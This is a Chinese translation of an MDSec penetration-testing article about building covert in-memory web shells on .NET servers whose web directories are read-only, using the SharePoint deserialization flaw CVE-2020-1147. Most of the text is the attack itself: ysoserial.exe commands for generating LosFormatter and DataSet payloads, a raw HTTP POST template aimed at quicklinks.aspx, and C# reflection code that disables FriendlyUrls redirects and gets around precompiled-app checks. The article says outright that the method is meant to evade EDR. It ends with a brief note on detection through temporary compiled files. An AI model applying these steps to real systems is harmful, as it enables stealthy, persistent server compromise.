在最近一次渗透测试中，我发现了一个容易受到CVE-2020-1147 影响的SharePoint实例。我被要求在不运行任何命令的情况下构建Web Shell，以避免任何可能部署在主机上的EDR解决方案。由于目标SharePoint服务器以最小的特权在IUSR用户下运行，因此我们不能简单地通过利用反序列化漏洞（CVE-2020-1147）在Web目录中创建Web Shell。我记得以前在运行PowerShell命令时，攻击很容易被发现，所以需要更隐蔽的方法！
这篇文章说明了当我们存在代码执行漏洞但Web目录不可写时如何创建Web Shell，从理论上讲，我们应该能够执行此操作，因为我们的代码正在Web应用程序中执行，因此我想出了以下两种解决方案：
使用C＃创建功能全面的Web Shell
尽管我很喜欢使用Web Shell，但是大多数功能强大的.NET都是HTML和C＃代码的混合体。因此，清理它们以将其作为纯C＃代码运行非常困难且耗时。我的解决方案是使用aspnet_compiler命令，以便从其临时编译文件中获取ASPX Web Shell的C＃代码。
另一个问题是，当我们想与嵌入式Web Shell进行交互时，当易受攻击的页面和Web Shell期望完全不同的HTTP请求时，我们可能需要利用我们的易受攻击的功能，这可能会导致冲突或根本不适用。因此，URL和正文中所有与Web Shell相关的参数以及HTTP动词，内容类型，Cookie和其他自定义标头都应以某种方式封装，以便在利用代码执行之后在服务器端重新创建。尽管自定义JavaScript代码可能能够处理某些封装任务，但是捕获HTTP请求的所有必需方面可能并不容易。因此，使用代理处理请求似乎是一种更好，更轻松的方法。例如，可以通过编写Burp Suite扩展程序来完成此操作，该扩展程序可以捕获对Web Shell的所有请求，这些请求最初是通过利用代码执行问题加载的。此扩展可以将Web Shell参数封装在HTTP请求的标头中，发送该HTTP请求以利用代码执行问题。使用标头可能会受到限制，尤其是当Web Shell请求包含较大的参数（例如正在上传文件时）时。但是，使用代理替换字符串可以保证可以在服务器端重新创建带有适当参数（例如HTTP正文、内容类型、HTTP动词和URL参数）的预期HTTP请求，以使Web Shell正常工作。应该注意的是，使HTTP请求中的只读参数（例如表单参数）可使用反射写入是相当容易的。另一件需要注意的重要事情是清除任何可能在运行web shell代码之前创建的HTTP响应，响应还需要在web shell执行后结束，以防止任何意外数据干扰来自web shell的预期响应。
尽管这种技术看起来可行，但我还是没有使用它，因为它很复杂，而且每次操作都需要向服务器发送大量web请求，以减少潜在的检测风险。
通过滥用.NET中的虚拟路径提供程序来创建虚拟文件（ghost文件）
使用.NET，可以定义虚拟路径，以便为文件系统以外的其他存储源提供虚拟文件。此功能非常强大，因为它甚至可以用于替换尚未缓存或编译的现有文件。这意味着通过替换现有的.NET文件（例如.aspx，.svc，.ashx，.asmx等）来显示攻击者的预期内容，即使对于网络钓鱼或其他系统攻击也可以派上用场。 SharePoint本身使用类似的方法来创建ghost页面和未托管的页面！
该解决方案对测试人员而言具有最小的复杂性，因为可以将Web Shell直接嵌入初始漏洞利用代码中。 YSoSerial.Net项目中的GhostWebShell.cs文件显示了我们创建的用于在易受攻击的Web应用程序上运行Web Shell的代码。
为了使用此代码，可以对Web Shell文件的内容进行base-64编码并将其存储在webshellContentsBase64参数中。 webshellType参数包含Web Shell扩展，而targetVirtualPath参数包含将在服务器上创建的虚拟路径。除了这些参数外，其他参数可以保持不变，如果需要更多的自定义，代码中的注释就足够了。
以下命令显示了如何使用它来使用YSoSerial.Net生成LosFormatter有效载荷的示例：
- .\ysoserial.exe -g ActivitySurrogateSelectorFromFile -f LosFormatter -c "C:\CoolTools\ysoserial.net\ExploitClass\GhostWebShell.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll"
应该注意的是，在使用ActivitySurrogateSelectorFromFile gadget 之前，应该使用ActivitySurrogateDisableTypeCheckgadget，以便为新版本的.NET Framework启用它。
以下步骤显示如何使用此技术在易受CVE-2020-1147攻击的SharePoint服务器上创建虚拟Web Shell：
1.准备基本有效载荷，其中包含利用远程代码执行漏洞所需的DataSet有效载荷：
- POST /_layouts/15/quicklinks.aspx?Mode=Suggestion HTTP/1.1
- uthorization: [ntlm auth header]
- Content-Type: application/x-www-form-urlencoded
- Host: [target]
- Content-Length: [length of body]
- __VIEWSTATE=&__SUGGESTIONSCACHE__=[DataSet payload from YSoSerial.Net]
2.生成并发送数据集有效载荷以禁用ActivitySurrogateSelector的.NET Framework v4.8 +类型保护：
- .\ysoserial.exe -p SharePoint
3.生成并发送数据集有效载荷以运行虚拟Web Shell：
- .\ysoserial.exe -p SharePoint
可以更改GhostWebShell.cs文件，使其更具自定义性，以提供多个文件以及隐藏自身，直到看到特殊的标头或文件名为止。当尚未编译现有目录中的特定文件时，更改IsPathVirtual函数也很方便。目前，它会响应所有传入的请求，但是你可能希望将其限制为某些名称，或者检查文件扩展名以提供不同的内容。
绕过Microsoft.AspNet.FriendlyUrls
从.NET 4.5开始，Web应用程序可以使用友好的URL在指向ASPX页面时不使用URL中的“.aspx”，这可以阻止我们创建ghost web shell的方法。下面的解决方案可以为使用此功能的Web应用程序覆盖此设置。
- foreach(var route in System.Web.Routing.RouteTable.Routes)
- {
- if (route.GetType().FullName == "Microsoft.AspNet.FriendlyUrls.FriendlyUrlRoute") {
- var FriendlySetting = route.GetType().GetProperty("Settings", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.Public);
-
- var settings = new Microsoft.AspNet.FriendlyUrls.FriendlyUrlSettings();
- settings.AutoRedirectMode = Microsoft.AspNet.FriendlyUrls.RedirectMode.Off;
-
- FriendlySetting.SetValue(route, settings);
- }
- }
该代码已包含在GhostWebShell.cs文件中，需要时，该注释无需取消注释（创建有效载荷也需要Microsoft.AspNet.FriendlyUrls.dll文件）。
绕过预编译的限制
当应用程序处于预编译模式时，.NET中的虚拟路径提供程序无法注册。但是，由于我们已经可以在应用程序上执行代码，因此可以使用反射更改System.Web.Compilation.BuildManager.IsPrecompiledApp属性。该代码已包含在YSoSerial.Net项目的GhostWebShell.cs文件中。
结果，即使应用程序处于预编译模式，也可以创建虚拟Web Shell。
利用其他Web处理程序
当利用代码执行漏洞时，虚拟文件方法将起作用，该代码执行漏洞使用另一个Web处理程序，例如用于Web服务的处理程序。尽管他们的响应可能不会显示虚拟Web Shell的执行，但是仍然可以通过直接在浏览器中浏览到虚拟Web Shell来访问它。
虚拟文件检测机制
尽管虚拟文件仅存在于内存中，但是它们的编译版本保存在临时位置中，该临时位置用于.NET页的编译，默认目录通常采用以下格式：
- C:\Windows\Microsoft.NET\Framework64|Framework\v[version]\Temporary ASP.NET Files\[appname]\[hash]\[hash]\
因此，通过检测新创建的临时文件，有可能检测到恶意编译文件。应该注意的是，在应用程序的默认目录中接管未编译的. net文件是可能的。因此，除非应用程序处于预编译模式，否则检测新创建的文件名不能用作安全检测机制，因此，不应创建新的已编译文件。
如果你不需要在文件系统上创建任何文件，则可以考虑将本文中讨论的第一个解决方案（在C＃中创建可正常运行的Web Shell）作为替代方案。但是，此解决方案具有通过检测未加密的流量以获取特定签名或检测到从特定来源向特定目标发出的异常大的Web请求的检测风险。
本文翻译自：https://www.mdsec.co.uk/2020/10/covert-web-shells-in-net-with-read-only-web-paths/如若转载，请注明原文地址。
